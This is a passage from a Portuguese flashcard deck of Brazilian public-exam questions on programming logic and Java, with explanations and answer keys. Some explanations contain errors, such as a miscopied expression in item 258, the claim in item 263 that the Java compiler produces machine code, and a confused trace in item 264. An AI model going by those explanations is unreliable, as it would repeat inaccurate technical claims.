a) Controle múltiplo
b) Repetição múltipla
c) Desvio múltiplo
d) Seleção múltipla

A

O SWITCH…CASE é uma forma em inglês de implementarmos a estrutura condicional ESCOLHA…CASO.

Essa é uma estrutura de seleção múltipla, que permite a escolha de nenhum, um ou múltiplos casos, onde cada um comportará um bloco de código distinto.

Gabarito: Letra D

245
Q
  1. (IBFC/DPE MT/2022) Assinale a alternativas que esteja tecnicamente correta quanto ao pseudocódigo, em inglês, que representa uma estrutura de repetição.

a) Switch
b) Return
c) While
d) Function

A

Das estruturas apresentadas, a única que apresenta uma estrutura de repetição é o WHILE.

A estrutura SWITCH é uma estrutura de seleção múltipla, RETURN é um comando para atribuir retorno a uma função, e FUNCTION é função, em inglês.

Gabarito: Letra C

246
Q
  1. (QUADRIX/SEE DF/2022) Acerca dos aspectos das linguagens de programação e das estruturas de dados e da programação orientada a objetos (POO), julgue o item a seguir.

Na lógica de programação, o operador lógico “e” possui a função de disjunção, enquanto o operador “não” possui a função de negação.

A

Cuidado! O “e” lógico, em programação, tem valor de conjunção, isso é, só será verdadeiro se todos os seus elementos também forem.

Já o “não”, de fato, é uma negação lógica.

Gabarito: Errado

247
Q
  1. (IDECAN/SEFAZ RR/2022) Quando criamos um programa de computador, utilizamos a seguinte sequência de operações na grande maioria das vezes: entrada de dados, processamento
    e saída. Selecione a estrutura de seleção que nunca testa uma ou mais variáveis de acordo com uma condição.

a) if
b) else if / elif
c) else
d) while
e) for

A

Quando estamos rodando uma condicional, temos o bloco do SE..ENTÃO, que irá analisar uma condição e executar determinar bloco de código se essa condição for verdadeira.

Em seguida, podemos ter o bloco SENÃO (else), que, em casos de seleção binária, nunca irá fazer uma avaliação do valor da condição - somente será executada como um “caso residual”.

Gabarito: Letra C

248
Q
  1. (IDECAN/SEFAZ RR/2022) Carlos trabalha como desenvolvedor de software e recebe a demanda de criar um trecho de código usando um loop de repetição que somente pode ser usado quando se sabe a quantidade de vezes que o loop vai acontecer. Selecione o loop de repetição que Carlos deve utilizar.

a) if
b) for
c) while
d) switch
e) do - while

A

O loop escolhido quando se sabe a quantidade de repetições que teremos é o loop Para - o FOR.

Nele, teremos um contador, onde definiremos o valor inicial, final e a forma de incremento (ou decremento), com isso conseguimos definir a quantidade de repetições que teremos.

Gabarito: Letra B

249
Q
  1. (QUADRIX/PRODAM/2022) A respeito das estruturas de repetição, assinale a alternativa que apresenta a estrutura que se consiste em um laço de repetição determinado, ou seja, utilizado
    quando é conhecida antecipadamente — antes de iniciado o laço — a quantidade de vezes em que os comandos devem ser executados.

a) DO WHILE
b) WHILE
c) FOR
d) IF
e) CASE

A

A estrutura que analisa a quantidade de vezes que determinada estrutura de repetição irá ser repetida antes da execução do código, baseado em um contador, é o PARA, ou FOR, em inglês.

Gabarito: Letra C

250
Q
  1. (CEBRASPE/CAU BR/2024) Julgue o item a seguir, relativo a algoritmos de linguagem de programação.

Os dados de um algoritmo devem ser definidos por tipos para que seus conteúdos possam ser submetidos a operações corretas, inerentes a cada tipo de dado.

A

A definição do tipo de dado de uma variável é essencial, já que cria restrições a o que pode ou não ser alocado nessa variável. Essa definição pode ser explícita ou implícita, a depender da tipagem da linguagem.

Nesse sentido, correta a afirmativa.

Gabarito: Correto

251
Q
  1. (IGEDUC/CM V Santo Antão/2024) Julgue o item a seguir.

Na programação, os operadores lógicos são utilizados principalmente para operações matemáticas complexas, como cálculos de derivadas e integrais.

Esses operadores, incluindo adição, subtração, multiplicação e divisão, são fundamentais na construção de algoritmos para aplicações matemáticas avançadas.

A

Muito cuidado! Operadores lógicos são os operadores E, OU e NÃO, responsáveis por fazer comparações lógicas.

Operadores matemáticos, como a soma e subtração, são responsáveis por inserir aplicações matemáticas.

A afirmativa define operadores matemáticas, e não lógicos, e, por
esse motivo, está incorreta.

Gabarito: Errado

252
Q
  1. (IGEDUC/CM V Santo Antão/2024) Julgue o item a seguir.

Na programação, o uso de variáveis e constantes é fundamental para o armazenamento e manipulação de dados. Variáveis podem ter seus valores alterados, enquanto constantes mantêm valores fixos durante a execução do programa. Dentre os tipos de dados comuns em programação estão inteiros (int), decimais (float, double), caracteres (char), strings e valores booleanos (boolean).

A

Perfeito! Dentro da programação, temos dois locais para alocação de valores na memória - as variáveis, que podem ter os valores alterados durante a execução dos códigos, e as constantes, que devem ter seus valores inalterados. E, de fato, os tipos de dado repassados pela questão estão corretos.

Gabarito: Correto

253
Q
  1. (CEBRASPE/INPI/2024) Acerca de estrutura de dados e algoritmos, julgue o item a seguir.

A passagem de um vetor por valor é mais eficiente que a passagem por parâmetro, considerando aspectos de tempo de processamento e espaço em memória, estando ambas as situações sob as mesmas condições de recursos.

A

Passar um vetor por valor implica em criar uma cópia do vetor original, o que pode ser muito ineficiente em termos de tempo de processamento e espaço de memória, especialmente se o vetor for grande.

Isso ocorre porque cada elemento do vetor precisa ser copiado individualmente, o que pode levar a um aumento significativo no uso da memória e no tempo de processamento.

Por outro lado, passar um vetor por referência (ou seja, como um parâmetro) é geralmente mais eficiente, pois apenas a referência ao vetor original é passada. Isso significa que não é necessário criar uma cópia do vetor, economizando assim tempo de processamento e espaço de memória.

Portanto, em geral, a passagem de um vetor por referência é preferível à passagem por valor, especialmente quando se trabalha com vetores grandes.

No entanto, é importante notar que passar um vetor por referência significa que qualquer alteração feita ao vetor dentro da função afetará o vetor original.

Se isso não for desejado, então uma cópia do vetor deve ser feita de
qualquer maneira.

Gabarito: Errado

254
Q
  1. (CESGRANRIO/UNEMAT/2024) Em linguagens de programação, o escopo sintático refere- se

a) à área do código onde uma variável pode ser referenciada.

b) à hierarquia de operadores utilizados para realizar operações em expressões.

c) às regras que determinam a forma correta das estruturas de controle de fluxo.

d) ao conjunto de palavras-chave reservadas da linguagem.

e) ao número máximo de parâmetros permitido em uma função, exclusivamente.

A

O escopo sintático em linguagens de programação engloba a área onde variáveis podem ser referenciadas. Isso significa que o escopo sintático determina as partes do código onde uma variável é acessível. As principais limitações de escopo são o escopo global e local.

Por exemplo, se uma variável é definida dentro de uma função, seu escopo é geralmente limitado a essa função. Isso significa que a variável pode ser referenciada (ou seja, lida ou modificada) apenas dentro dessa função.

Se tentarmos referenciar a variável fora da função, o programa
provavelmente gerará um erro, pois a variável está fora do seu escopo sintático.

Gabarito: Letra A

255
Q
  1. (FUNDATEC/IFC/2023) A _________ ocorre quando se armazena um valor em uma variável; quando deseja-se um desvio no fluxo de nosso código baseado em uma condição booleana, usa-se o comando _________; para realizar uma repetição de instrução, pode-se usar a instrução _________; a fim de não repetir códigos, tem a possibilidade de fazer uso de _________; por fim, para interromper um laço de repetição de forma abrupta, usa-se __________.

Assinale a alternativa que preenche, correta e respectivamente, as lacunas do trecho acima.

a) composição – if – do-while – funções – break
b) atribuição – test – repetir – funções – parar
c) atribuição – if – do-while – funções – break
d) persistência – test – for – métodos – stop
e) persistência – if – for – métodos – stop

A

Vamos preencher as lacunas:

  • Quando armazenamos um valor em uma variável, estamos fazendo uma ATRIBUIÇÃO.
  • O comando de desvio no fluxo, que fará uma seleção, é o IF.
  • A estrutura de repetição pode ser o Para, Enquanto, ou outros - porém, nas alternativas, a única que traz uma estrutura correta é o FAÇA…ENQUANTO, ou DO-WHILE.
  • Para interromper um laço usamos uma ferramenta chamada de QUEBRA, ou BREAK - que trará uma interrupção forçada do laço, mesmo que determinada condição ainda seja verdadeira.

Portanto, ficamos com os preenchimentos ATRIBUIÇÃO, IF, DO-WHILE, BREAK.

Gabarito: Letra C

256
Q
  1. (VUNESP/EPC/S2023) Considere que, ao se chamar uma função:

a) foram passados os valores de variáveis para ela;

b) o valor de cada variável na função chamadora é copiado nas variáveis fictícias correspondentes da função chamada;

c) as alterações feitas nas variáveis fictícias na função chamada não têm efeito nos valores das variáveis reais na função chamadora.

Esse método é conhecido como chamada

a) cruzada.
b) exclusiva.
c) reversa.
d) por valor.
e) por referência.

A

Temos duas formas de atribuição - atribuições por valor, e por referência. Isso já nos permite eliminar as três primeiras alternativas.

Quando passamos um valor de uma variável por valor, estamos fazendo uma cópia desse valor original, desassociando a referência com o destino.

Dessa forma, podemos alterar a variável de origem do valor sem termos impactos na nova variável. E é exatamente essa abordagem a trazida pela questão.

Se tivéssemos uma variável por referência, teríamos apenas um ponteiro referenciando o dado original, e qualquer alteração nesse dado original traria alterações para a variável que o referencia.

Gabarito: Letra D

257
Q
  1. (VUNESP/DPE SP/2023) Os parâmetros que são passados para uma função de um programa são denominados parâmetros reais, enquanto que os parâmetros recebidos por uma função são
    denominados parâmetros formais. Neste contexto, em uma chamada de função por valor, os valores dos parâmetros reais

a) são copiados para os parâmetros formais da função, e as alterações nestes efetuadas dentro da função refletem-se em alterações nos parâmetros reais.

b) são copiados para os parâmetros formais da função, e as alterações nestes efetuadas dentro da função não implicam em alterações nos parâmetros reais.

c) não são copiados para os parâmetros formais da função, e as alterações efetuadas nestes dentro da função, refletem-se em alterações nos parâmetros reais.

d) não são copiados para os parâmetros formais da função, e as alterações efetuadas nestes dentro da função, não implicam em alterações nos parâmetros reais.

e) não são copiados para os parâmetros formais da função, e esta não pode realizar alterações em seus parâmetros formais.

A

Nas chamada de função por valor, os parâmetros são copiados para a função, e, graças a isso, eventuais alterações não impactam os valores originais, ou parâmetros reais.

Nesse sentido, a alternativa que traz a explicação correta é a letra B.

Gabarito: Letra B

258
Q
  1. (CENTEC/SEDUC CE/2023) Uma variável é um espaço na memória do computador destinado a um dado que é alterado durante a execução do algoritmo. Para funcionar corretamente, as variáveis precisam ser definidas por nomes e tipos. Analise o código abaixo e assinale a resposta CORRETA, respectivamente do tipo primitivo da variável e o resultado, linha 09.

01 Programa {
02 funcao inicio() {
03 real resultado
04
05 resultado = 5.0 + 4.0 * 2.0
06 escreva(resultado)
07
08 resultado = (5.0 + 4.0) * 2.0
09 escreva(resultado)
10
11 resultado = 1.0 + 2.0 / 3.0 * 4.0
12 escreva(resultado)
13 }
14 }

a) Real e 18.0
b) Cadeia e 22.0
c) Real e 40.0
d) Inteiro e 20.0
e) Real e 22.0

A

Na linha 9, estamos escrevendo o resultado da função passada logo acima, na linha 8.

Vamos resolvê-la:

  • resultado = (5.0 * 4.0) * 2.0
  • resultado = 9.0 * 2.0
  • resultado = 18.0

Então, o resultado será 18.0 e o número do tipo real - detalhe que, apesar do resultar ser um
número inteiro (18), a presença de uma casa decimal nos traz o tipo real.

Gabarito: Letra A

259
Q
  1. (SUGEP UFRPE/UFRPE/2022) A estrutura de dados “vetor” (array) é um arranjo unidimensional que pode acomodar múltiplos dados. Sobre essas estruturas de dados, assinale a alternativa incorreta.

a) Os dados de um vetor são mapeados numa área contígua da memória.

b) Os dados de um vetor são do mesmo tipo.

c) Cada um dos dados de um vetor pode ser acessado informando-se o identificador do vetor e o inteiro que indica a ordem do dado na sequência.

d) Os dados de um vetor são armazenados na memória ordenadamente, em modo crescente.

e) Pode-se atribuir um dado a um elemento de qualquer posição do vetor, independentemente do que foi atribuído aos demais elementos.

A

Vamos analisar cada item.

a) Correto. No armazenamento em memória, os vetores (ou arrays) são armazenados de forma
contígua, ou seja, contínua, um ao lado do outro.

b) Correto. Os vetores são estruturas homogêneas, portanto só aceita um mesmo tipo de dado.

c) Correto. A forma de acessar elementos num vetor é feita através de um índice - sua posição
relativa no conjunto de dados.

d) Errado. Eles são armazenados de forma ordenada, o que quer dizer que as posições são
crescentes, mas não seus valores.

e) Correto. Como trabalhamos com índices, podemos acessar qualquer posição,
diferentemente de estruturas como filas e pilhas.

Sendo assim, a alternativa incorreta é a letra D.

Gabarito: Letra D

260
Q

Tendo como referência a linguagem de rogramação Java, julgue o item que se segue.

A linha

String nome = request.getParameter(“nome”);

pode ser alterada para

String nome = request.getAttribute(“nome”);

sem perda de funcionalidade no código.

A

A afirmação de que a linha

```java
String nome = request.getParameter(“nome”);
~~~

pode ser alterada para

```java
String nome = request.getAttribute(“nome”);
~~~

sem perda de funcionalidade é incorreta.

Diferenças:

  1. request.getParameter("nome"):
    • Obtém valores de parâmetros da requisição HTTP, como os enviados por formulários.
    • Retorna uma String que representa o valor do parâmetro.
  2. request.getAttribute("nome"):
    • Obtém atributos definidos no escopo da requisição, geralmente configurados no lado do servidor.
    • Não se refere a dados enviados pelo cliente, mas a informações passadas entre componentes da aplicação.

Considerações:

  • Contexto de Uso:
    • Use getParameter() para dados de entrada do usuário.
    • Use getAttribute() para acessar dados definidos no servidor.
  • Consequências:
    • Substituir getParameter() por getAttribute() pode resultar em null, causando falhas se não houver um atributo correspondente definido.

Conclusão:

Não se deve trocar request.getParameter() por request.getAttribute() sem considerar o contexto, pois isso pode levar a resultados inesperados.

261
Q
  1. (CESPE - DP DF - 2022) No Java 8, o uso do método map() permite aplicar uma função a todos os elementos de um stream.
A

Stream map (Function mapper) retorna um stream que consiste nos resultados da aplicação da função dada aos elementos desse stream.

Stream map (Mapeador de funções) é uma operação intermediária.

As operações intermediárias são invocadas em uma instância do Stream e, depois que terminam seu processamento, fornecem uma instância do Stream como saída.

Gabarito: Correto

262
Q
  1. (CESPE - DP DF– 2022) Quando a mensageria é utilizada com linguagem Java, as requisições
    são processadas exclusivamente de forma síncrona.
A

A afirmação de que, quando a mensageria é utilizada com linguagem Java, as requisições são processadas exclusivamente de forma síncrona é incorreta.

Explicação:

  1. Mensageria: Refere-se a sistemas que permitem a comunicação entre diferentes componentes de uma aplicação através do envio de mensagens. Isso é comum em arquiteturas distribuídas.
  2. Síncrono vs. Assíncrono:
    • Síncrono: O remetente aguarda uma resposta do destinatário antes de continuar a execução.
    • Assíncrono: O remetente envia a mensagem e não aguarda uma resposta imediata, permitindo que continue sua execução.
  3. Mensageria em Java:
    • Em sistemas de mensageria, como Java Message Service (JMS), é possível implementar tanto a comunicação síncrona quanto a assíncrona.
    • Com JMS, você pode usar Queue (fila) para comunicação assíncrona, onde o remetente não espera uma resposta imediata, e Topic para publicar e assinar mensagens, também permitindo o processamento assíncrono.

Conclusão:
Portanto, a mensageria em Java não se limita ao processamento síncrono; ela pode ser configurada para operar de maneira assíncrona, dependendo das necessidades da aplicação.

Gabarito: Errado

263
Q
  1. (CESPE – SEED PR –2021) Java é uma linguagem construída a partir de um legado das linguagens C e C++.

No entanto, ela apresenta características únicas que a diferem das demais, como:

I. o applet, que é um tipo especial de programa Java projetado para ser transmitido pela
Internet e executado por um navegador web compatível com Java.

II. a saída de seu compilador não gera um código executável e, sim, um bytecode.

III. o fato de um programa Java ser executado somente pela Java virtual machine (JVM).

Assinale a opção correta.

a) Apenas o item I está certo.
b) Apenas o item II está certo.
c) Apenas os itens I e III estão certos.
d) Apenas os itens II e III estão certos.
e) Todos os itens estão certos.

A

Pessoal, perfeita a assertiva I:

applet é um tipo especial de programa Java projetado para ser transmitido pela Internet e executado por um navegador web compatível com Java.

A assertiva II também está de acordo com o que vimos! O compilador transforma o arquivo .java em código de máquina e em um arquivo .class, também chamado bytecode.

Por fim, a assertiva III também está correta, exatamente como dissemos anteriormente: O bytecode é um código intermediário, que é posteriormente interpretado e executado por uma Java Virtual Machine (JVM).

O código fonte é entendido pelo sistema operacional, mas varia em cada um deles.

Quando você usa o bytecode, através do .class você consegue rodar facilmente em qualquer sistema operacional, sem ter que usar o código-fonte.

Gabarito: Letra E

264
Q
  1. (CESPE – PGDDF – 2021) Julgue o item subsecutivo, a respeito de lógica e de estrutura de programação.

função avaliar( a, b )
início
ma <-a;
se (ma < b) então ma <- b;
me <-a;
se (me > b) então me <- b;
resultado <- ( ma % me );
se (resultado = 0)
então retorne me
senão avaliar(me, ma)
fim
escreva avaliar (120,30);

O resultado do pseudocódigo precedente será 120.

A

O item está incorreto. Vamos analisar o pseudocódigo apresentado para entender o que ele realmente faz.

Análise do Pseudocódigo

  1. Inicialização:
    • ma recebe o valor de a (120).
    • me recebe o valor de b (30).
  2. Primeiro se:
    • se (ma < b) então ma <- b;
    • Isso não é verdade, pois 120 não é menor que 30, então ma permanece 120.
  3. Segundo se:
    • se (me > b) então me <- b;
    • Isso não é verdade, pois 30 não é maior que 30, então me permanece 30.
  4. Cálculo do resultado:
    • resultado <- (ma % me);
    • Aqui, resultado será 120 % 30, que é 0.
  5. Verificação do resultado:
    • se (resultado = 0) então retorne me
    • Como resultado é 0, a função retorna o valor de me, que é 30.

Conclusão

Portanto, a chamada escreva avaliar(120, 30); resulta em 30, não 120.

O resultado final é que o pseudocódigo retorna 30, tornando a afirmação do item falsa.

Gabarito: Errado

265
Q
  1. (CESPE – TJ-RJ – 2021) Considere o trecho de código a seguir, de um programa escrito na
    linguagem Java.

Com relação aos trechos de código precedentes, é correto afirmar que

a) o parâmetro this, na linha 7 da classe CarroEsportivo, é uma palavra reservada usada para mostrar que está sendo feita referência ao atributo privado marca da classe Carro.

b) o comando this, na linha 7 da classe CarroEsportivo, é uma palavra reservada que faz referência ao atributo público marca da classe Carro.

c) a instrução super, na linha 6 da classe CarroEsportivo, é usada para importar o pacote
atributos privados da classe Carro, a fim de se tornarem públicos para a classe CarroEsportivo.

d) a instrução super, na linha 6 da classe CarroEsportivo, permite à classe CarroEsportivo acessar os atributos privados da classe Carro.

e) a instrução super, na linha 6 da classe CarroEsportivo, pode permitir à classe CarroEsportivo acessar atributos públicos da classe Carro.

A

Vejamos cada uma das alternativas a partir da análise do código apresentado.

A letra A está errada, pois diz que o parâmetro this, na linha 7 da classe CarroEsportivo, é uma palavra reservada usada para mostrar que está sendo feita referência ao atributo privado marca da classe Carro, sendo que o parâmetro this faz referência ao atributo privado marca da classe CarroEsportivo.

A letra B também está errada porque o comando this, na linha 7, faz referência a marca da classe CarroEsportivo.

Já a alternativa C está errada pois não é possível importar o pacote atributos privados da classe Carro, a fim de se tornarem públicos dado que eles estão com o modificador private.

A alternativa D também está errada, assim como a anterior, pois não é possível acessar
atributos privados, mesmo que seja uma classe filha.

Por fim, a alternativa e é o nosso gabarito!

De fato, a instrução super chama membros da classe-pai.

Ou seja, é uma variável de referência usada para referenciar o objeto da classe pai.

Gabarito: Letra E

266
Q
  1. (CESPE – PGDF – 2021) Com relação a servidores de aplicação e seus serviços e a teoria de becapes, julgue o item a seguir.

Apenas uma única instância do Tomcat pode existir em uma única JVM (Java virtual machine);
no entanto, é possível ter múltiplas instâncias em uma mesma máquina virtual, desde que em processos Java separados, em execução em portas separadas.

A

A afirmação é parcialmente correta. Aqui está a análise:

  1. Uma única instância do Tomcat por JVM: É verdade que em uma única JVM pode haver apenas uma instância do Tomcat em execução. Isso significa que todos os aplicativos implantados dentro dessa instância compartilham a mesma memória e recursos.
  2. Múltiplas instâncias em processos separados: A parte que diz que é possível ter múltiplas instâncias em uma mesma máquina virtual, desde que em processos Java separados e em execução em portas separadas, é imprecisa. Na verdade, para ter várias instâncias do Tomcat, cada uma precisa ser executada em uma JVM separada (não apenas em processos separados). Cada instância do Tomcat deve ser iniciada em uma JVM diferente, geralmente em portas diferentes.

Portanto, a afirmação original pode levar a confusões. Se fosse reformulada para esclarecer que cada instância deve estar em uma JVM separada, seria mais precisa.

Gabarito: Errado.

267
Q
  1. (CESPE -– Ministério da Economia – 2020)

Em Java 8, o método de limite de fluxo tem como objetivo eliminar elementos com base em um critério.

A

Na verdade, o método limit é utilizado para limitar a quantidade de elementos em um fluxo.

Gabarito: Errado

268
Q
  1. (CESPE – Ministério da Economia – 2020) Uma expressão lambda é usada principalmente para definir a implementação procedural de uma interface associativa.
A

Uma expressão lambda é usada principalmente para definir a implementação procedural de uma interface funcional.

Gabarito: Errado

269
Q
  1. (CESPE – Pref. Barra dos Coqueiros – 2020) A máquina virtual do Java (JVM) utiliza uma tecnologia especificamente para aumentar o desempenho da aplicação, identificando códigos que serão muito executados, normalmente dentro de loops.

Essa tecnologia é chamada de

a) hotspot.
b) bytecode.
c) compilação estática.
d) JRE (Java Runtime Environment).
e) JDK (Java Development Kit).

A

A opção correta é:

a) hotspot.

Justificativa:
A HotSpot é a tecnologia utilizada pela JVM (Java Virtual Machine) para melhorar o desempenho da execução de aplicações Java. Ela identifica partes do código que são executadas com frequência, como loops, e aplica técnicas de otimização, como a compilação JIT (Just-In-Time), transformando o bytecode em código de máquina nativo, o que acelera a execução da aplicação.

Gabarito: A

270
Q
  1. (CESPE – STM – 2018) Os membros de uma classe definidos como PUBLIC não podem ser acessados ou usados por nenhuma outra classe.
A

A afirmativa está incorreta.

No contexto da linguagem Java, membros de uma classe (atributos e métodos) que são definidos como public podem ser acessados e usados por qualquer outra classe, tanto dentro do mesmo pacote quanto em pacotes diferentes. O modificador de acesso public garante que os membros da classe sejam visíveis em todas as outras classes, independentemente de onde elas estejam.

Portanto, membros public podem ser acessados por outras classes, o que torna a afirmação errada.

Gabarito: Errado.

271
Q
  1. (CESPE – CGM-Joao Pessoa– 2018) A JME oferece um ambiente robusto e flexível para aplicativos executados em dispositivos móveis e integrados cuja capacidade de memória, de vídeo e de processamento são limitados, tais como set-top boxes e reprodutores de discos blu-ray.
A

A afirmativa está correta.

A Java ME (Micro Edition) é uma plataforma da tecnologia Java que oferece um ambiente robusto e flexível para o desenvolvimento de aplicativos voltados para dispositivos com recursos limitados, como memória, vídeo e processamento, incluindo dispositivos móveis, integrados, set-top boxes e reprodutores de discos Blu-ray. A Java ME foi projetada para rodar em dispositivos com capacidades mais restritas em comparação com os que utilizam Java SE (Standard Edition).

Gabarito: Certo.

272
Q
  1. (CESPE – TER-TO– 2017) Na orientação a objetos, a alteração do comportamento dos métodos herdados das superclasses para um comportamento mais específico nas subclasses, de forma a se criar um novo método na classe filha que contém a mesma assinatura e o mesmo tipo de retorno, relaciona-se a

a) sobrecarga.
b) overloading.
c) portabilidade.
d) abstração.
e) sobrescrita.

A

A opção correta é e) sobrescrita.

A sobrescrita de métodos (overriding) ocorre quando uma subclasse redefine um método herdado de sua superclasse, mantendo a mesma assinatura (nome do método, parâmetros) e o mesmo tipo de retorno. Isso permite que a subclasse forneça um comportamento específico para o método que é diferente do comportamento definido na superclasse.

Essa técnica é uma das formas de polimorfismo na orientação a objetos, onde o método da subclasse será invocado em vez do método da superclasse, quando a instância for de um objeto da subclasse.

Gabarito: e) sobrescrita.

273
Q
  1. (CESPE – TCE-PA – 2016) O fato de as expressões lambda terem sido excluídas do Java 8 possibilitou que a linguagem Java ficasse mais flexível e que a implementação de seu código se tornasse mais precisa.
A

A afirmativa está incorreta.

As expressões lambda foram, na verdade, introduzidas no Java 8, e sua inclusão tornou a linguagem mais flexível e permitiu escrever código de maneira mais concisa e funcional.

A introdução de lambdas facilitou a manipulação de coleções e a implementação de interfaces funcionais, tornando o código mais expressivo.

Gabarito: Errado

274
Q
  1. (CESPE – FUNPRESP-JUD – 2016) Para lidar com um conjunto de objetos em JSon, é necessário utilizar um array que permita realizar, em uma única operação, a carga de todos os objetos.
A

Não é necessário utilizar um array.

Gabarito: Errado

275
Q
  1. (CESPE – TRE-PI – 2016) A linguagem Java foi, originalmente, desenvolvida para

a) permitir a comunicação entre aparelhos domésticos e computadores.

b) traduzir fórmulas matemáticas utilizando-se cartões perfurados.

c) processar valores inteiros, em um ambiente negócios, em computadores de grande porte.

d) trabalhar com inteligência artificial por meio de uma abordagem puramente lógica.

e) demonstrar a viabilidade da implementação da álgebra relacional de dados.

A

A história de Java começou a ser escrita quando James Gosling, Patrick Naughton e Mike Sheridan se uniram a dois fundadores da Sun, Andy Bechtolsheim e Bill Joy, para pensar sobre a nova onda
do mundo digital.

Eles não demoraram muito para concluir que seria a convergência de
computadores aos dispositivos e eletrodomésticos utilizados no dia a dia, tudo interconectado e remotamente controlado.

Uma questão sobre “curiosidades”, temos como gabarito a letra A, já
que, Java foi, originalmente, desenvolvida para permitir a comunicação entre computadores aos dispositivos e eletrodomésticos.

Gabarito: Letra A

276
Q
  1. (CESPE – TER-GO – 2015) Em um grupo do tipo Array, podem-se armazenar dados de diferentes tipos.
A

Errado pessoal! Um Array é um objeto contêiner que contém um número fixo de valores de um único tipo.

O comprimento de um array é estabelecido quando o array é criado.

Após a criação, seu comprimento é fixo.

Gabarito: Errado

277
Q
  1. (CESPE – TJDFT – 2015) Na tecnologia JSP (Java Server Pages), cada documento é convertido pelo contêiner JSP em um servlet, o que ajuda a separar a apresentação do conteúdo.
A

Perfeito, pessoal! O JSP é uma ferramenta baseada em Java para criação de páginas dinâmicas para uso na web.

Com isso, cada parte do documento é convertida, através de um Contêiner, como um TomCat por exemplo, em um Servlet.

Gabarito: Correto

278
Q
  1. (CESPE – SERPRO – 2013) A tecnologia JSE (Java Small Editon) utilizada pela plataforma iOS permite o desenvolvimento de aplicações para todos os seus dispositivos, como estações
    gráficas, iPad, iPod, entre outros.
A

Java Micro Edition (Java ME): trata-se do padrão aplicado a dispositivos compactos ou móveis, como smartphones, tablets, controles remotos, etc.

Permite o desenvolvimento de softwares embarcados, i.e., aplicações que rodam em um dispositivo de propósito específico, desempenhando alguma tarefa útil.

Em geral, possuem limitações de recursos como memória ou
processamento. Conforme vimos em aula, a questão está cheia de erros!

Primeiro, JSE é a sigla de Java Standard Edition.
Segundo, a tecnologia proposta no item é o JME!

Gabarito: Errado

279
Q
  1. (CESPE – MPOG – 2013) O JME foi criado para trabalhar com ambientes de programação multiprocessados em ambientes distribuídos.
A

Java Micro Edition (Java ME): trata-se do padrão aplicado a dispositivos compactos ou móveis, como smartphones, tablets, controles remotos, etc.

Permite o desenvolvimento de softwares embarcados, i.e., aplicações que rodam em um dispositivo de propósito específico,
desempenhando alguma tarefa útil.

Em geral, possuem limitações de recursos como memória ou
processamento.

Java Enterprise Edition (Java EE): trata-se do padrão para desenvolvimento de sistemas corporativos, voltada para aplicações multicamadas, baseadas em componentes executados em servidores de aplicações – ele inclui o Java SE.

Contém bibliotecas para acesso a base de dados, RPC, CORBA, entre outras. As aplicações podem ou não estar na internet.

Conforme vimos em aula, Java ME possui diversas limitações de recursos.

Na verdade, é o Java EE que é ideal para ambientes distribuídos.

Gabarito: Errado

280
Q
  1. (CESPE – ANTT – 2013) JSE, JME, JEE e JCE são edições da tecnologia Java voltadas para o desenvolvimento de aplicações para desktop/servidores, dispositivos móveis, ambientes corporativos e ambientes em nuvem, respectivamente.
A

A afirmação está incorreta.

As edições da tecnologia Java são voltadas para diferentes tipos de ambientes, mas a descrição na questão contém erros. Veja a correção para cada uma das edições mencionadas:

  • JSE (Java Standard Edition): Voltada para o desenvolvimento de aplicações para desktop e servidores, provendo a base para a linguagem Java e suas bibliotecas fundamentais.
  • JME (Java Micro Edition): Voltada para o desenvolvimento de aplicações em dispositivos móveis e embarcados, com recursos limitados.
  • JEE (Java Enterprise Edition): Focada no desenvolvimento de aplicações empresariais de grande porte, geralmente distribuídas, em ambientes corporativos, como sistemas web e transacionais.
  • JCE (Java Cryptography Extension): Não é uma edição voltada para ambientes em nuvem, mas sim uma extensão da plataforma Java que fornece bibliotecas para criptografia, assinaturas digitais e outros recursos de segurança.

Portanto, a afirmação falha ao descrever corretamente o JCE e ao associar cada edição ao ambiente mencionado.

Gabarito: Errado

281
Q
  1. (CESPE – TRT 10ª Região – 2013) O uso de System.out.println() possibilita a exibição de textos; para a exibição de valores de variáveis, é necessário utilizar showAttributes().
A

Errado! O System.out.println() pode perfeitamente ser utilizada para exibir variáveis.

Gabarito: Errado

282
Q
  1. (CESPE – TRT 10ª Região – 2013) No código abaixo, caso a variável salário assuma o valor igual a 5000, o valor b da variável avaliação será atribuído corretamente.

if (salario > 10000) {
avaliacao=”a”;
else
avaliacao=”b”;
}

A

Como o valor apresentado (5.000) é menor que 10.000, a assertiva está correta!

Gabarito: Correto

283
Q
  1. (CESPE – TRT 10ª Região – 2013) A execução do código abaixo informará a classe do objeto que foi atribuído à variável de nome var4.

String nome = var4.getname();

A

Errado, na verdade, getname retorna o nome do objeto.

O código apresentado pelo item declara e inicializa uma variável nome, do tipo String.

O valor que essa variável receberá é o que for retornado pelo método getname, invocado sobre o objeto var4.

Apenas com as informações trazidas, é impossível saber qual a classe à qual o objeto var4 pertence.

Gabarito: Errado

284
Q
  1. (CESPE – MPU – 2013) O tratamento de exceção em Java consiste no bloco try-catch-finally.

O bloco finally sempre executa ao término do bloco try.

A

Aqui está um resumo sobre os blocos try, catch e finally em Java:

  • try: O bloco try contém o código que pode lançar exceções. É usado para “tentar” executar um conjunto de instruções que podem gerar erros em tempo de execução.
  • catch: O bloco catch é usado para capturar e tratar as exceções que foram lançadas no bloco try. Ele especifica o tipo de exceção que pode ser tratada e define o que deve ser feito se essa exceção ocorrer.
  • finally: O bloco finally é opcional e contém código que será executado sempre, independentemente de uma exceção ter sido lançada ou não. Ele é geralmente usado para liberar recursos, como fechar arquivos ou conexões de banco de dados.

Exemplo:
```java
try {
// Código que pode lançar uma exceção
} catch (ExceptionType e) {
// Tratamento da exceção
} finally {
// Código que sempre será executado
}
~~~

A afirmação está parcialmente correta, mas precisa de uma ressalva.

O bloco finally em Java geralmente sempre é executado ao final do bloco try, independentemente de uma exceção ter sido lançada ou não, exceto em alguns casos específicos, como quando o programa é encerrado abruptamente (por exemplo, com um System.exit()), ou se ocorrer uma falha no ambiente da JVM.

Portanto, a parte correta da afirmação é que o finally tende a ser sempre executado, mas há situações excepcionais em que ele pode não ser executado.

Gabarito: Errado

285
Q
  1. (CESPE – MPU – 2013) Se a thread executando um código try ou catch for interrompida ou abortada, o bloco finally poderá não ser executado, apesar de a aplicação como um todo continuar.
A

Aqui está um resumo sobre os blocos try, catch e finally em Java:

  • try: O bloco try contém o código que pode lançar exceções. É usado para “tentar” executar um conjunto de instruções que podem gerar erros em tempo de execução.
  • catch: O bloco catch é usado para capturar e tratar as exceções que foram lançadas no bloco try. Ele especifica o tipo de exceção que pode ser tratada e define o que deve ser feito se essa exceção ocorrer.
